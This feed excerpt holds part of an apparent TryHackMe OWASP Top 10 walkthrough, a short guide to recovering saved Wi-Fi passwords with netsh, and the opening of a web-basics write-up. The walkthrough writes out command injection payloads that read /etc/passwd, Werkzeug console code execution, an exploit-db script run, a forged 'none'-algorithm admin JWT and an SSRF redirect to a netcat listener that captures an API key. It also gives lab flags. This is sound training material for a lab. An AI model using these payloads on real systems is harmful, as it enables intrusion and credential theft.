&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*7OIIBdZqo5JhT0rGKVAi4Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: 3. Injection&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;I’ve understood Injection attacks.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 10: 3.1. Command Injection&lt;/h2&gt;
&lt;p&gt;To complete the questions below, navigate to &lt;a href=&quot;http://10.10.46.122:82/&quot;&gt;http://MACHINEIP:82/&lt;/a&gt; and exploit the cowsay server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1: What strange text file is in the website’s root directory?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*XlpjEWk_6e4dKn6h77JxFQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://MACHINE_IP:82/&quot;&gt;http://MACHINEIP:82&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Try to run the script &lt;code&gt;$(ls)&lt;/code&gt; that can generate the URL path &lt;code&gt;[http://MACHINE_IP:82/?cow=default&amp;#x26;mooing=%24%28ls%29](http://MACHINE_IP:82/?cow=default&amp;#x26;mooing=%24%28ls%29)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*5Cmj6a6V-y690ooMh2ip_Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;drpepper.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: How many non-root/non-service/non-daemon users are there?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can run this script to check &lt;code&gt;$(cat /etc/passwd)&lt;/code&gt; or this script for more details to check if any non-root, non-service, or non-daemon users are present: &lt;code&gt;$(cat /etc/passwd | awk -F: &apos;{if ($3 &gt;= 1000 &amp;#x26;&amp;#x26; $3 &amp;#x3C; 65534) print $1}&apos; | wc -l)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Sq02iS8JNU1b_4Qi8CFLTQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3: What user is this app running as?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Start with the command recommended by TryHackMe: &lt;code&gt;$(whoami)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*E30-xfZG0Na0mHL4asFgGQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;$(whoami)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;apache&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4: What is the user’s shell set as?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Run this script: &lt;code&gt;$(awk -F: &apos;$3 &gt;= 1000&apos; /etc/passwd).&lt;/code&gt; This script uses &lt;code&gt;awk&lt;/code&gt; to filter and display user entries from the &lt;code&gt;/etc/passwd&lt;/code&gt; file where the user&apos;s UID (User ID) is greater than or equal to 1000. UIDs starting from 1000 are typically assigned to non-system (regular) users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*rtXeFVWNY92CPZJEZ_L_-Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/sbin/nologin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q5: What version of Alpine Linux is running?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can run this script to check the version of Linux: &lt;code&gt;$(cat /etc/os-release)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*71bsxRyMCRvWBKmp5tU8Mg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3.16.0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 11: 4. Insecure Design&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Try to reset joseph’s password. Keep in mind the method used by the site to validate if you are indeed joseph.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*_cCNBsHCnDP21rxeQBH6yw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;login&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the value of the flag in joseph’s account?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Try resetting the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*R2579B0KgF_EtMQ0vDZBhg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;reset password&lt;/p&gt;
&lt;p&gt;There are so many possible answers to the security question here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*fS9SpmJYkx9_0Ahi79PgCA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;secure question&lt;/p&gt;
&lt;p&gt;Found the correct answer to the color question, which is ‘green.’&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*7HH_hHcQ47-1rB9wjbtdJQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;secure question pass&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*p4tOLVaU3Dzpi7UhlBIlcw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can try logging in after that and search for the flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*5Bo2NHNnxvGIuwUnGd78Fg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Not3venc4tzc0uldsav3U!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 12: 5. Security Misconfiguration&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Navigate to&lt;/strong&gt; &lt;a href=&quot;http://10.10.6.94:86/console&quot;&gt;&lt;strong&gt;http://MACHINEIP:86/console&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;to access the Werkzeug console.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*1pVq7eVopcbZo-u639Rj1g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Werkzeug Console&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Use the Werkzeug console to run the following Python code to execute the &lt;code&gt;ls -l&lt;/code&gt; command on the server:&lt;/p&gt;
&lt;p&gt;import os; print(os.popen(&quot;ls -l&quot;).read())&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the database file name (the one with the .db extension) in the current directory?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*mna438OC2sxrlJfNtJgQsA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;ls -l&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;todo.db&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: Modify the code to read the contents of the&lt;/strong&gt; &lt;code&gt;**app.py**&lt;/code&gt; &lt;strong&gt;file, which contains the application&apos;s source code. What is the value of the&lt;/strong&gt; &lt;code&gt;**secret_flag**&lt;/code&gt; &lt;strong&gt;variable in the source code?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*63zrzfmfqlNZ5ixddvZRuw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;cat app.py&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Justatinymisconfiguration}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 13: 6. Vulnerable and Outdated Components&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read about the vulnerability.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 14: Vulnerable and Outdated Components — Exploit&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read the above!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 15: Vulnerable and Outdated Components — Lab&lt;/h2&gt;
&lt;p&gt;Navigate to &lt;a href=&quot;http://10.10.6.94:84/&quot;&gt;http://10.10.6.94:84&lt;/a&gt; where you’ll find a vulnerable application. All the information you need to exploit it can be found online.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*OIGsFeCEzdOItqupfa5VwQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the content of the /opt/flag.txt file?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, open &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;https://www.exploit-db.com/&lt;/a&gt; to check for vulnerabilities using the keyword ‘book store’ and verify the results.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*yVUjyj0Qf3jEz3w-rrNf1A.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We found this, and then we can download the exploit file to our directory.&lt;/p&gt;
&lt;p&gt;Try running the script file &lt;code&gt;47887.py&lt;/code&gt; with the command &lt;code&gt;python3 47887.py http://MACHINE_IP:84&lt;/code&gt;, and then use the script as instructed by running &lt;code&gt;cat /opt/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*as-FKA2I_cNf6Shvwkm6gQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{But1tsn0tmyf4ult!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 16: 7. Identification and Authentication Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;I’ve understood broken authentication mechanisms.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 17: Identification and Authentication Failures Practical&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the flag that you found in darren’s account?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*UxcqKf6wrzcZkFQhb17PrQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Try to register with Darren as your username based on the instructions, and then the error message will be displayed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*wLVIrJ2Dj387phS0d-1NAA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let’s try with the user ‘ darren’ (with a space in front of the text).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*3eFDr50fVbFvV1QAAxU7QQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*CsxpVt587ERKs9YZiquWGg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Try to log in as ‘ darren’.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*_U1vZmwu1l07d6nZxn0LMg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*0MUlIXS3ECaLS4jFbVbOMw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;fe86079416a21a3c99937fea8874b667&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now try to do the same trick and see if you can log in as &lt;strong&gt;arthur.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: What is the flag that you found in arthur’s account?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Try the same method to log in as the ‘darren’ user.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;d9ac0f7db4fda460ac3edeb75d75e16e&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 18: 8. Software and Data Integrity Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read the above and continue!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 19: Software Integrity Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the SHA-256 hash of&lt;/strong&gt; &lt;code&gt;[**https://code.jquery.com/jquery-1.12.4.min.js**](https://code.jquery.com/jquery-1.12.4.min.js?)&lt;/code&gt;&lt;a href=&quot;https://code.jquery.com/jquery-1.12.4.min.js?&quot;&gt;&lt;strong&gt;?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Open the website &lt;a href=&quot;https://www.srihash.org/&quot;&gt;srihash.org&lt;/a&gt; and then encrypt the given URL with SHA-256.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*0fI4sXttJVmTXnV9FjeSPQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Task 20: Data Integrity Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: Try logging into the application as guest. What is guest’s account password?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*DJRdTF_RwQgExeXZDVicog.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;MACHINEIP:8089&lt;/p&gt;
&lt;p&gt;Try to log in with the username: guest&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*VpF3Ws1RVKrvJV2AUZMLrw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*0EWDaKUAh0sxV4djSDjwIQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;guest&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If your login was successful, you should now have a JWT stored as a cookie in your browser. Press F12 to bring out the Developer Tools.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*8UdAyQdRvrNiKMBaGc_tAg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Depending on your browser, you will be able to edit cookies from the following tabs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*UvQUzhryOH_f7mDs3-kJCQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2: What is the name of the website’s cookie containing a JWT token?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;jwt-session&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3: What is the flag presented to the admin user?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can take the value of ‘jwt-session’: &lt;code&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzQzMjM0NTEzfQ.6pfklEryGyL0S45o8OXn7_8dgC5BZvZLhyY_w_-De0k&lt;/code&gt;. Then, we can extract it into two sections: Header and Payload.&lt;/p&gt;
&lt;p&gt;Header: &lt;code&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.&lt;/code&gt;&lt;br&gt;
 Payload: &lt;code&gt;eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzQzMjM0NTEzfQ.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can extract them using online base64 encoder/decoder tools, such as this one: &lt;a href=&quot;https://appdevtools.com/base64-encoder-decoder&quot;&gt;https://appdevtools.com/base64-encoder-decoder&lt;/a&gt;, and then transform them into strings:&lt;/p&gt;
&lt;p&gt;Header: &lt;code&gt;{&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;HS256&quot;}&lt;/code&gt;&lt;br&gt;
 Payload: &lt;code&gt;{&quot;username&quot;:&quot;guest&quot;,&quot;exp&quot;:1743234513}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next, change “HS256” to “none” and “guest” to “admin”, and then convert them back into base64:&lt;/p&gt;
&lt;p&gt;Header: &lt;code&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=&lt;/code&gt;&lt;br&gt;
 Payload: &lt;code&gt;eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQzMjM0NTEzfQ==&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finally, concatenate them using a period (&lt;code&gt;.&lt;/code&gt;) delimiter to form the following version, which can be copied and pasted into the web developer:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQzMjM0NTEzfQ==&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*eacJn-pEQ5FC0qProQv72w.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Donttakecookiesfromstrangers}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 21: 9. Security Logging and Monitoring Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: What IP address is the attacker using?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can see here the login file and know what ip that have unauthorized authentification.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*tAymkQ0QYo72_oihN3LvBA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;49.99.13.16&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: What kind of attack is being carried out?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The attacker attempts to log in by trying different usernames and passwords repeatedly to guess the correct one. We can see multiple unsuccessful login attempts (HTTP 401 Unauthorized) from the same IP address (&lt;code&gt;49.99.13.16&lt;/code&gt;) with different usernames (&lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;administrator&lt;/code&gt;, &lt;code&gt;anonymous&lt;/code&gt;, &lt;code&gt;root&lt;/code&gt;).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Brute Force&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 22: 10. Server-Side Request Forgery (SSRF)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: Explore the website. What is the only host allowed to access the admin area?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*uCX-ocRSysev5ywig1bQ_w.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let’s try opening the Admin Area from the menu panel.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*cIvL6CenOGcRsszdRcbRnA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*BdI07pgQN_m0ulSUbgi97g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;localhost&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: Check the “Download Resume” button. Where does the server parameter point to?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let’s try inspecting the element for the button, and we’ll get the information that it has a parameter pointing to.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*K0uE_rRLTPUsPaLeu3FTDw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;secure-file-storage.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3: Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can extract the link from the web developer like this: &lt;code&gt;http://10.10.2.174:8087/download?server=secure-file-storage.com:8087&amp;#x26;id=75482342&lt;/code&gt;. Then, we can modify the URL by replacing the server with the IP of the attack box and port 8087.&lt;/p&gt;
&lt;p&gt;Before running the modified URL, we need to first execute this script in the terminal to set up the netcat listener:&lt;/p&gt;
&lt;p&gt;nc -lvnp 8087&lt;/p&gt;
&lt;p&gt;After that, run the modified URL in the browser with the attack box IP:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[http://10.10.2.174:8087/download?server=10.10.32.61:8087&amp;#x26;id=75482342](http://10.10.2.174:8087/download?server=10.10.32.61:8087&amp;#x26;id=75482342.)&lt;/code&gt;&lt;a href=&quot;http://10.10.2.174:8087/download?server=10.10.32.61:8087&amp;#x26;id=75482342.&quot;&gt;.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Then, check the terminal for the listener and capture the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*akExhJmccLiwC6QBltJjtg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{HelloImjustanAPIkey}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4: Going the Extra Mile:&lt;/strong&gt; There’s a way to use SSRF to gain access to the site’s admin area. Can you find it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You won’t need this flag to progress in the room. You are expected to do some research in order to achieve your goal.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 23: What Next?&lt;/h2&gt;
&lt;p&gt;Why not enroll in our &lt;a href=&quot;https://tryhackme.com/path/outline/beginner&quot;&gt;beginner-level pathway&lt;/a&gt; or &lt;a href=&quot;https://tryhackme.com/hacktivities&quot;&gt;find another room&lt;/a&gt; to complete?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.D-a4iNt_.png"/><enclosure url="/_astro/image.D-a4iNt_.png"/></item><item><title>Easily Reveal Your Wi-Fi Password in Windows with CMD</title><link>https://farros.co/blog/easily-reveal-your-wi-fi-password-in-windows-with-cmd/</link><guid isPermaLink="true">https://farros.co/blog/easily-reveal-your-wi-fi-password-in-windows-with-cmd/</guid><description>Easily Reveal Your Wi-Fi Password in Windows with CMD.</description><pubDate>Fri, 28 Mar 2025 03:23:03 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;If you’ve forgotten the Wi-Fi password that was previously used on your Windows device, you can easily recover it using Command Prompt. Here’s how you can do it:&lt;/p&gt;
&lt;h2&gt;1. Open Command Prompt&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Press the &lt;strong&gt;Windows&lt;/strong&gt; key, type “Command Prompt” or “CMD” in the search bar.&lt;/li&gt;
&lt;li&gt;Right-click on “Command Prompt” and select “Run as Administrator” to open it with administrator rights.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Display Saved Wi-Fi Network Profiles&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In the Command Prompt window, type the following command and press &lt;strong&gt;Enter&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;netsh wlan show profiles&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This command will list all the Wi-Fi networks that your computer has previously connected to.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*sjIAoMnI8qGfu8IBV5CMvw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;netsh wlan show profiles&lt;/p&gt;
&lt;h2&gt;3. View the Password for a Specific Network&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To view the password for a specific network, type the following command, replacing &lt;code&gt;Wi-FiName&lt;/code&gt; with the actual name of your network, and press &lt;strong&gt;Enter&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;netsh wlan show profile name=&quot;Wi-FiName&quot; key=clear&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example: If your network name is “Home123,” the command would be:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;netsh wlan show profile name=&quot;Home123&quot; key=clear&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The information for that network will be displayed. Scroll down to the “Security settings” section and look for “Key Content.” The Wi-Fi password will be shown here.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*0bkruI6_anCKTv3unVmW4A.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From the picture above, we can see that the Wi-Fi network ‘Anti Riba’ has the password ‘antiriba’.&lt;/p&gt;
&lt;h2&gt;Important Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Make sure you have administrator privileges when running these commands.&lt;/li&gt;
&lt;li&gt;This method only works for Wi-Fi networks you’ve previously connected to and stored on your computer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By following these steps, you can easily find your forgotten Wi-Fi password without needing to reset your router or search for old notes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thank you for reading, hope it was useful.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Bnf2Jcja.png"/><enclosure url="/_astro/image.Bnf2Jcja.png"/></item><item><title>Web Application Basics | TryHackMe Write-Up</title><link>https://farros.co/blog/web-application-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/web-application-basics-tryhackme-write-up/</guid><description>Web Application Basics | TryHackMe | Write-Up by Farros.</description><pubDate>Sat, 22 Mar 2025 00:39:10 GMT</pubDate><content:encoded>&lt;p&gt;Here is my writing about one of the rooms on TryHackMe, specifically &lt;a href=&quot;https://tryhackme.com/room/webapplicationbasics&quot;&gt;Web Application Basics&lt;/a&gt;, which is part of the &lt;a href=&quot;https://tryhackme.com/module/web-hacking&quot;&gt;Web Hacking&lt;/a&gt; module. I will also explain how to complete the CTF in task number 10.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;no answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Web Application Overview&lt;/h2&gt;
&lt;p&gt;Q1: Which component on a computer is responsible for hosting and delivering content for web applications?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;web server&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: Which tool is used to access and interact with web applications?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;web browser&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: Which component acts as a protective layer, filtering incoming traffic to block malicious attacks, and ensuring the security of the the web application?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;web application firewall&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Uniform Resource Locator&lt;/h2&gt;
